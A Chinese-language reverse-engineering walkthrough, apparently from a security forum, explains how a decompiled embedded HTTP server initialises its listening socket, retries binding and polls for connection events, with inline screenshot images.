初始化一个简单的HTTP服务器包括创建套接字、设置套接字选项、绑定地址和端口以及开始监听连接请求该函数接受三个参数服务器的地址信息端口号服务器最大连接数然后创建一个TCP套接字socket使用socket()函数创建一个TCP套接字并将其存储在变量v6中。如果套接字创建失败输出错误信息并返回-1。并且设置套接字为非阻塞模式使用setnonblocking()函数将创建的套接字设置为非阻塞模式。然后准备套接字地址信息将地址族AF_INET即IPv4存储在变量v10的第一个元素中。将端口号a2进行字节序转换后存储在变量v10的第二个元素中。之后绑定套接字使用setsockopt()函数设置套接字的SO_REUSEADDR选项以便在关闭后立即重新使用套接字。使用bind()函数将套接字与本地地址和端口绑定。如果绑定失败尝试最多10次重试。如果仍然失败输出错误信息并返回-1。最后监听连接使用listen()函数开始监听传入的连接请求。如果监听失败,输出错误信息并返回-1。如果一切正常输出"httpd_sever_init ipv4 ok"并返回0表示成功。<br>
<a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708204624-15885476-3d28-1.png><img src="data:image/png;base64,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
初始化一个用于处理HTTP请求的轮询机制包括将套接字添加到轮询数组中并初始化相关变量。这为后续处理HTTP请求提供了基础设施<br>
<a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708205231-f07e2736-3d28-1.png><img src="data:image/png;base64,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
初始化之后到了使用该http_poll函数开始处理用户的http请求<br>
<a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708205254-fe560266-3d28-1.png><img src="data:image/png;base64,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
追溯到该处可以看出该函数主要用于处理 HTTP 服务器中的套接字事件,包括接受新连接、读取数据、发送数据和关闭连接等操作<br>
<a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708205503-4b242ba4-3d29-1.png title><img src="data:image/png;base64,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